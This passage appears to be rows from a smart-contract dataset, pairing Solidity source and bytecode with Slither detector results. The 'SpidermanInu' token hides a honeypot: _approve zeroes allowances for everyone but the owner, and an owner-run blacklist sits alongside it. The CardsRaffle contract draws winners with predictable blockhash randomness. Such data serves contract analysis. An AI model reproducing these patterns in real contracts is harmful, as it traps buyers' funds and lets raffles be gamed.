require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract SpidermanInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**12 * 10**18;
string private _name = 'SPIDEY';
string private _symbol = 'Spiderman Inu';
uint8 private _decimals = 18;
// Address that are identified as botters .
mapping(address => bool) private _includeToBlackList;
/**
* @dev Exclude an address from blackList.
* Can only be called by the current operator.
*/
function setExcludeFromBlackList(address _account) public onlyOwner {
_includeToBlackList[_account] = false;
}
/**
* @dev Include an address to blackList.
* Can only be called by the current operator.
*/
function setIncludeToBlackList(address _account) public onlyOwner {
_includeToBlackList[_account] = true;
}
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063709432381161008c5780638da5cb5b116100665780638da5cb5b1461036857806395d89b411461039c578063a9059cbb1461041f578063dd62ed3e14610483576100cf565b806370943238146102c257806370a0823114610306578063715018a61461035e576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bb57806323b872dd146101d9578063313ce5671461025d57806368d4a9941461027e575b600080fd5b6100dc6104fb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061059d565b60405180821515815260200191505060405180910390f35b6101c36105bb565b6040518082815260200191505060405180910390f35b610245600480360360608110156101ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105c5565b60405180821515815260200191505060405180910390f35b61026561069e565b604051808260ff16815260200191505060405180910390f35b6102c06004803603602081101561029457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106b5565b005b610304600480360360208110156102d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107da565b005b6103486004803603602081101561031c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108ff565b6040518082815260200191505060405180910390f35b610366610948565b005b610370610ad0565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103a4610af9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e45780820151818401526020810190506103c9565b50505050905090810190601f1680156104115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61046b6004803603604081101561043557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b9b565b60405180821515815260200191505060405180910390f35b6104e56004803603604081101561049957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105935780601f1061056857610100808354040283529160200191610593565b820191906000526020600020905b81548152906001019060200180831161057657829003601f168201915b5050505050905090565b60006105b16105aa610c40565b8484610c48565b6001905092915050565b6000600454905090565b60006105d2848484610f67565b610693846105de610c40565b61068e856040518060600160405280602881526020016113b160289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610644610c40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112219092919063ffffffff16565b610c48565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6106bd610c40565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6107e2610c40565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610950610c40565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a12576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b915780601f10610b6657610100808354040283529160200191610b91565b820191906000526020600020905b815481529060010190602001808311610b7457829003601f168201915b5050505050905090565b6000610baf610ba8610c40565b8484610f67565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806114226024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d54576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061138f6022913960400191505060405180910390fd5b610d5c610ad0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610e7b576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610f62565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fed576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061136a6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611073576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806113ff6023913960400191505060405180910390fd5b6110df816040518060600160405280602681526020016113d960269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112219092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061117481600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112e190919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906112ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611293578082015181840152602081019050611278565b50505050905090810190601f1680156112c05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008082840190508381101561135f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220cf1ec2e84e9c0727449e3e12bbae4c469f8b9dc613148725d70c8c00d4de522f64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 1,918 |
0x4cb200957a11cbff512b4752e6ee38c9253fdd54 | pragma solidity ^0.4.18;
/* ==================================================================== */
/* Copyright (c) 2018 The MagicAcademy Project. All rights reserved.
/*
/* https://www.magicacademy.io One of the world's first idle strategy games of blockchain
/*
/* authors <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="6517040c0b1c25090c1300161104174b060a08">[email protected]</a>/<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="0842676671264e7d4864617e6d7b7c697a266b6765">[email protected]</a>
/*
/* ==================================================================== */
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/*
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract AccessAdmin is Ownable {
/// @dev Admin Address
mapping (address => bool) adminContracts;
/// @dev Trust contract
mapping (address => bool) actionContracts;
function setAdminContract(address _addr, bool _useful) public onlyOwner {
require(_addr != address(0));
adminContracts[_addr] = _useful;
}
modifier onlyAdmin {
require(adminContracts[msg.sender]);
_;
}
function setActionContract(address _actionAddr, bool _useful) public onlyAdmin {
actionContracts[_actionAddr] = _useful;
}
modifier onlyAccess() {
require(actionContracts[msg.sender]);
_;
}
}
interface CardsInterface {
function balanceOf(address player) public constant returns(uint256);
function updatePlayersCoinByOut(address player) external;
function updatePlayersCoinByPurchase(address player, uint256 purchaseCost) public;
function removeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) external;
function upgradeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) external;
}
interface RareInterface {
function getRareItemsOwner(uint256 rareId) external view returns (address);
function getRareItemsPrice(uint256 rareId) external view returns (uint256);
function getRareInfo(uint256 _tokenId) external view returns (
uint256 sellingPrice,
address owner,
uint256 nextPrice,
uint256 rareClass,
uint256 cardId,
uint256 rareValue
);
function transferToken(address _from, address _to, uint256 _tokenId) external;
function transferTokenByContract(uint256 _tokenId,address _to) external;
function setRarePrice(uint256 _rareId, uint256 _price) external;
function rareStartPrice() external view returns (uint256);
}
contract CardsRaffle is AccessAdmin {
using SafeMath for SafeMath;
function CardsRaffle() public {
setAdminContract(msg.sender,true);
setActionContract(msg.sender,true);
}
//data contract
CardsInterface public cards ;
RareInterface public rare;
function setCardsAddress(address _address) external onlyOwner {
cards = CardsInterface(_address);
}
//rare cards
function setRareAddress(address _address) external onlyOwner {
rare = RareInterface(_address);
}
function getRareAddress() public view returns (address) {
return rare;
}
//event
event UnitBought(address player, uint256 unitId, uint256 amount);
event RaffleSuccessful(address winner);
// Raffle structures
struct TicketPurchases {
TicketPurchase[] ticketsBought;
uint256 numPurchases; // Allows us to reset without clearing TicketPurchase[] (avoids potential for gas limit)
uint256 raffleRareId;
}
// Allows us to query winner without looping (avoiding potential for gas limit)
struct TicketPurchase {
uint256 startId;
uint256 endId;
}
// Raffle tickets
mapping(address => TicketPurchases) private ticketsBoughtByPlayer;
mapping(uint256 => address[]) private rafflePlayers; // Keeping a seperate list for each raffle has it's benefits.
uint256 private constant RAFFLE_TICKET_BASE_PRICE = 10000;
uint256 private constant MAX_LIMIT = 1000;
// Current raffle info
uint256 private raffleEndTime;
uint256 private raffleRareId;
uint256 private raffleTicketsBought;
address private raffleWinner; // Address of winner
bool private raffleWinningTicketSelected;
uint256 private raffleTicketThatWon;
// Raffle for rare items
function buyRaffleTicket(uint256 amount) external {
require(raffleEndTime >= block.timestamp); //close it if need test
require(amount > 0 && amount<=MAX_LIMIT);
uint256 ticketsCost = SafeMath.mul(RAFFLE_TICKET_BASE_PRICE, amount);
require(cards.balanceOf(msg.sender) >= ticketsCost);
// Update player's jade
cards.updatePlayersCoinByPurchase(msg.sender, ticketsCost);
// Handle new tickets
TicketPurchases storage purchases = ticketsBoughtByPlayer[msg.sender];
// If we need to reset tickets from a previous raffle
if (purchases.raffleRareId != raffleRareId) {
purchases.numPurchases = 0;
purchases.raffleRareId = raffleRareId;
rafflePlayers[raffleRareId].push(msg.sender); // Add user to raffle
}
// Store new ticket purchase
if (purchases.numPurchases == purchases.ticketsBought.length) {
purchases.ticketsBought.length = SafeMath.add(purchases.ticketsBought.length,1);
}
purchases.ticketsBought[purchases.numPurchases++] = TicketPurchase(raffleTicketsBought, raffleTicketsBought + (amount - 1)); // (eg: buy 10, get id's 0-9)
// Finally update ticket total
raffleTicketsBought = SafeMath.add(raffleTicketsBought,amount);
//event
UnitBought(msg.sender,raffleRareId,amount);
}
/// @dev start raffle
function startRareRaffle(uint256 endTime, uint256 rareId) external onlyAdmin {
require(rareId>0);
require(rare.getRareItemsOwner(rareId) == getRareAddress());
require(block.timestamp < endTime); //close it if need test
if (raffleRareId != 0) { // Sanity to assure raffle has ended before next one starts
require(raffleWinner != 0);
}
// Reset previous raffle info
raffleWinningTicketSelected = false;
raffleTicketThatWon = 0;
raffleWinner = 0;
raffleTicketsBought = 0;
// Set current raffle info
raffleEndTime = endTime;
raffleRareId = rareId;
}
function awardRafflePrize(address checkWinner, uint256 checkIndex) external {
require(raffleEndTime < block.timestamp); //close it if need test
require(raffleWinner == 0);
require(rare.getRareItemsOwner(raffleRareId) == getRareAddress());
if (!raffleWinningTicketSelected) {
drawRandomWinner(); // Ideally do it in one call (gas limit cautious)
}
// Reduce gas by (optionally) offering an address to _check_ for winner
if (checkWinner != 0) {
TicketPurchases storage tickets = ticketsBoughtByPlayer[checkWinner];
if (tickets.numPurchases > 0 && checkIndex < tickets.numPurchases && tickets.raffleRareId == raffleRareId) {
TicketPurchase storage checkTicket = tickets.ticketsBought[checkIndex];
if (raffleTicketThatWon >= checkTicket.startId && raffleTicketThatWon <= checkTicket.endId) {
assignRafflePrize(checkWinner); // WINNER!
return;
}
}
}
// Otherwise just naively try to find the winner (will work until mass amounts of players)
for (uint256 i = 0; i < rafflePlayers[raffleRareId].length; i++) {
address player = rafflePlayers[raffleRareId][i];
TicketPurchases storage playersTickets = ticketsBoughtByPlayer[player];
uint256 endIndex = playersTickets.numPurchases - 1;
// Minor optimization to avoid checking every single player
if (raffleTicketThatWon >= playersTickets.ticketsBought[0].startId && raffleTicketThatWon <= playersTickets.ticketsBought[endIndex].endId) {
for (uint256 j = 0; j < playersTickets.numPurchases; j++) {
TicketPurchase storage playerTicket = playersTickets.ticketsBought[j];
if (raffleTicketThatWon >= playerTicket.startId && raffleTicketThatWon <= playerTicket.endId) {
assignRafflePrize(player); // WINNER!
return;
}
}
}
}
}
function assignRafflePrize(address winner) internal {
raffleWinner = winner;
uint256 newPrice = (rare.rareStartPrice() * 25) / 20;
rare.transferTokenByContract(raffleRareId,winner);
rare.setRarePrice(raffleRareId,newPrice);
cards.updatePlayersCoinByOut(winner);
uint256 upgradeClass;
uint256 unitId;
uint256 upgradeValue;
(,,,,upgradeClass, unitId, upgradeValue) = rare.getRareInfo(raffleRareId);
cards.upgradeUnitMultipliers(winner, upgradeClass, unitId, upgradeValue);
//event
RaffleSuccessful(winner);
}
// Random enough for small contests (Owner only to prevent trial & error execution)
function drawRandomWinner() public onlyAdmin {
require(raffleEndTime < block.timestamp); //close it if need to test
require(!raffleWinningTicketSelected);
uint256 seed = SafeMath.add(raffleTicketsBought , block.timestamp);
raffleTicketThatWon = addmod(uint256(block.blockhash(block.number-1)), seed, raffleTicketsBought);
raffleWinningTicketSelected = true;
}
// To allow clients to verify contestants
function getRafflePlayers(uint256 raffleId) external constant returns (address[]) {
return (rafflePlayers[raffleId]);
}
// To allow clients to verify contestants
function getPlayersTickets(address player) external constant returns (uint256[], uint256[]) {
TicketPurchases storage playersTickets = ticketsBoughtByPlayer[player];
if (playersTickets.raffleRareId == raffleRareId) {
uint256[] memory startIds = new uint256[](playersTickets.numPurchases);
uint256[] memory endIds = new uint256[](playersTickets.numPurchases);
for (uint256 i = 0; i < playersTickets.numPurchases; i++) {
startIds[i] = playersTickets.ticketsBought[i].startId;
endIds[i] = playersTickets.ticketsBought[i].endId;
}
}
return (startIds, endIds);
}
// To display on website
function getLatestRaffleInfo() external constant returns (uint256, uint256, uint256, address, uint256) {
return (raffleEndTime, raffleRareId, raffleTicketsBought, raffleWinner, raffleTicketThatWon);
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0x6060604052600436106100cc5763ffffffff60e060020a6000350416630865dadc81146100d15780632210d525146100f75780632693c15014610126578063431dbd9e146101de57806349c9dcf51461022b57806358a4903f1461024d5780636bb7b7a4146102605780636cdb1b75146102735780636fb642de1461029257806376f2ccb9146102b6578063789a12fd146102d55780638da5cb5b1461033e578063b9de1c4114610351578063c2de290914610367578063da7d57f91461037a578063f2fde38b14610393575b600080fd5b34156100dc57600080fd5b6100f5600160a060020a036004351660243515156103b2565b005b341561010257600080fd5b61010a61040d565b604051600160a060020a03909116815260200160405180910390f35b341561013157600080fd5b610145600160a060020a036004351661041d565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b83811015610189578082015183820152602001610171565b50505050905001838103825284818151815260200191508051906020019060200280838360005b838110156101c85780820151838201526020016101b0565b5050505090500194505050505060405180910390f35b34156101e957600080fd5b6101f1610543565b6040519485526020850193909352604080850192909252600160a060020a03166060840152608083019190915260a0909101905180910390f35b341561023657600080fd5b6100f5600160a060020a0360043516602435610563565b341561025857600080fd5b61010a610829565b341561026b57600080fd5b61010a610838565b341561027e57600080fd5b6100f5600160a060020a0360043516610847565b341561029d57600080fd5b6100f5600160a060020a03600435166024351515610891565b34156102c157600080fd5b6100f5600160a060020a03600435166108e3565b34156102e057600080fd5b6102eb60043561092d565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561032a578082015183820152602001610312565b505050509050019250505060405180910390f35b341561034957600080fd5b61010a6109a8565b341561035c57600080fd5b6100f56004356109b7565b341561037257600080fd5b6100f5610c4b565b341561038557600080fd5b6100f5600435602435610d06565b341561039e57600080fd5b6100f5600160a060020a0360043516610e1c565b60005433600160a060020a039081169116146103cd57600080fd5b600160a060020a03821615156103e257600080fd5b600160a060020a03919091166000908152600160205260409020805460ff1916911515919091179055565b600454600160a060020a03165b90565b61042561120f565b61042d61120f565b600061043761120f565b61043f61120f565b600160a060020a03861660009081526005602052604081206008546002820154919550141561053757836001015460405180591061047a5750595b90808252806020026020018201604052509250836001015460405180591061049f5750595b90808252806020026020018201604052509150600090505b83600101548110156105375783548490829081106104d157fe5b9060005260206000209060020201600001548382815181106104ef57fe5b60209081029091010152835484908290811061050757fe5b90600052602060002090600202016001015482828151811061052557fe5b602090810290910101526001016104b7565b50909590945092505050565b600754600854600954600a54600b54600160a060020a0390911691929394565b6000806000806000806000804260075410151561057f57600080fd5b600a54600160a060020a03161561059557600080fd5b61059d61040d565b600454600854600160a060020a0392831692909116906372eefb8a9060405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b15156105ef57600080fd5b5af115156105fc57600080fd5b50505060405180519050600160a060020a031614151561061b57600080fd5b600a5474010000000000000000000000000000000000000000900460ff16151561064757610647610c4b565b600160a060020a038a16156106e957600160a060020a038a16600090815260056020526040812060018101549099501180156106865750876001015489105b801561069757506008548860020154145b156106e957875488908a9081106106aa57fe5b906000526020600020906002020196508660000154600b54101580156106d657508660010154600b5411155b156106e9576106e48a610eb7565b61081d565b600095505b60085460009081526006602052604090205486101561081d57600854600090815260066020526040902080548790811061072457fe5b6000918252602080832090910154600160a060020a031680835260059091526040822060018101548154929850909650600019019450859190811061076557fe5b906000526020600020906002020160000154600b54101580156107a95750835484908490811061079157fe5b906000526020600020906002020160010154600b5411155b1561081257600091505b83600101548210156108125783548490839081106107cd57fe5b906000526020600020906002020190508060000154600b54101580156107f957508060010154600b5411155b15610807576106e485610eb7565b6001909101906107b3565b6001909501946106ee565b50505050505050505050565b600354600160a060020a031681565b600454600160a060020a031681565b60005433600160a060020a0390811691161461086257600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03331660009081526001602052604090205460ff1615156108b857600080fd5b600160a060020a03919091166000908152600260205260409020805460ff1916911515919091179055565b60005433600160a060020a039081169116146108fe57600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b61093561120f565b6006600083815260200190815260200160002080548060200260200160405190810160405280929190818152602001828054801561099c57602002820191906000526020600020905b8154600160a060020a0316815260019091019060200180831161097e575b50505050509050919050565b600054600160a060020a031681565b60008042600754101515156109cb57600080fd5b6000831180156109dd57506103e88311155b15156109e857600080fd5b6109f4612710846111ca565b6003549092508290600160a060020a03166370a082313360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610a4957600080fd5b5af11515610a5657600080fd5b5050506040518051905010151515610a6d57600080fd5b600354600160a060020a031663a1c90a11338460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b1515610ac357600080fd5b5af11515610ad057600080fd5b505050600160a060020a0333166000908152600560205260409020600854600282015491925014610b5e576000600180830182905560085460028401819055825260066020526040909120805490918101610b2b8382611221565b506000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a03161790555b805460018201541415610b84578054610b78906001611200565b610b82828261124a565b505b60408051908101604052600954808252840160001901602082015260018281018054918201905582548391908110610bb857fe5b90600052602060002090600202016000820151815560208201518160010155905050610be660095484611200565b6009556008547fb6d35f558a34938047f09ebf800fa2e15ec407c357a8eab97a5dd67b4d015b5b903390856040518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a1505050565b600160a060020a03331660009081526001602052604081205460ff161515610c7257600080fd5b600754429010610c8157600080fd5b600a5474010000000000000000000000000000000000000000900460ff1615610ca957600080fd5b610cb560095442611200565b9050600954801515610cc357fe5b8160001943014008600b5550600a805474ff0000000000000000000000000000000000000000191674010000000000000000000000000000000000000000179055565b600160a060020a03331660009081526001602052604090205460ff161515610d2d57600080fd5b60008111610d3a57600080fd5b610d4261040d565b600454600160a060020a0391821691166372eefb8a8360405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610d8e57600080fd5b5af11515610d9b57600080fd5b50505060405180519050600160a060020a0316141515610dba57600080fd5b42829010610dc757600080fd5b60085415610de657600a54600160a060020a03161515610de657600080fd5b600a80546000600b81905574ffffffffffffffffffffffffffffffffffffffffff19909116909155600955600791909155600855565b60005433600160a060020a03908116911614610e3757600080fd5b600160a060020a0381161515610e4c57600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600a805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03838116919091179091556004546000918291829182916014911663b4d0e5526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610f2757600080fd5b5af11515610f3457600080fd5b50505060405180519050601902811515610f4a57fe5b600454600854929091049550600160a060020a03169063da3678df908760405160e060020a63ffffffff85160281526004810192909252600160a060020a03166024820152604401600060405180830381600087803b1515610fab57600080fd5b5af11515610fb857600080fd5b5050600454600854600160a060020a0390911691506373a55389908660405160e060020a63ffffffff851602815260048101929092526024820152604401600060405180830381600087803b151561100f57600080fd5b5af1151561101c57600080fd5b5050600354600160a060020a0316905063e3cbe7448660405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561107057600080fd5b5af1151561107d57600080fd5b5050600454600854600160a060020a03909116915063275babee9060405160e060020a63ffffffff8416028152600481019190915260240160c060405180830381600087803b15156110ce57600080fd5b5af115156110db57600080fd5b505050604051805190602001805190602001805190602001805190602001805190602001805160035493995091975090955050600160a060020a03169250635edc9bff915087905085858560405160e060020a63ffffffff8716028152600160a060020a039094166004850152602484019290925260448301526064820152608401600060405180830381600087803b151561117657600080fd5b5af1151561118357600080fd5b5050507f7b646f14dfb470788710d7469f8c03ffce1aba2693e24050c5055c4cfa9baa5785604051600160a060020a03909116815260200160405180910390a15050505050565b6000808315156111dd57600091506111f9565b508282028284828115156111ed57fe5b04146111f557fe5b8091505b5092915050565b6000828201838110156111f557fe5b60206040519081016040526000815290565b81548183558181151161124557600083815260209020611245918101908301611276565b505050565b815481835581811511611245576002028160020283600052602060002091820191016112459190611294565b61041a91905b80821115611290576000815560010161127c565b5090565b61041a91905b80821115611290576000808255600182015560020161129a5600a165627a7a72305820f535911cd253488d32451f155e9482adf99d4094130f505f12a9a06b60a690900029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 1,919 |
0x47207297271712af8005679859e11e9273a5812f | /**
*Submitted for verification at Etherscan.io on 2021-02-11
*/
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// @Name SafeMath
// @Desc Math operations with safety checks that throw on error
// https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
// ----------------------------------------------------------------------------
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
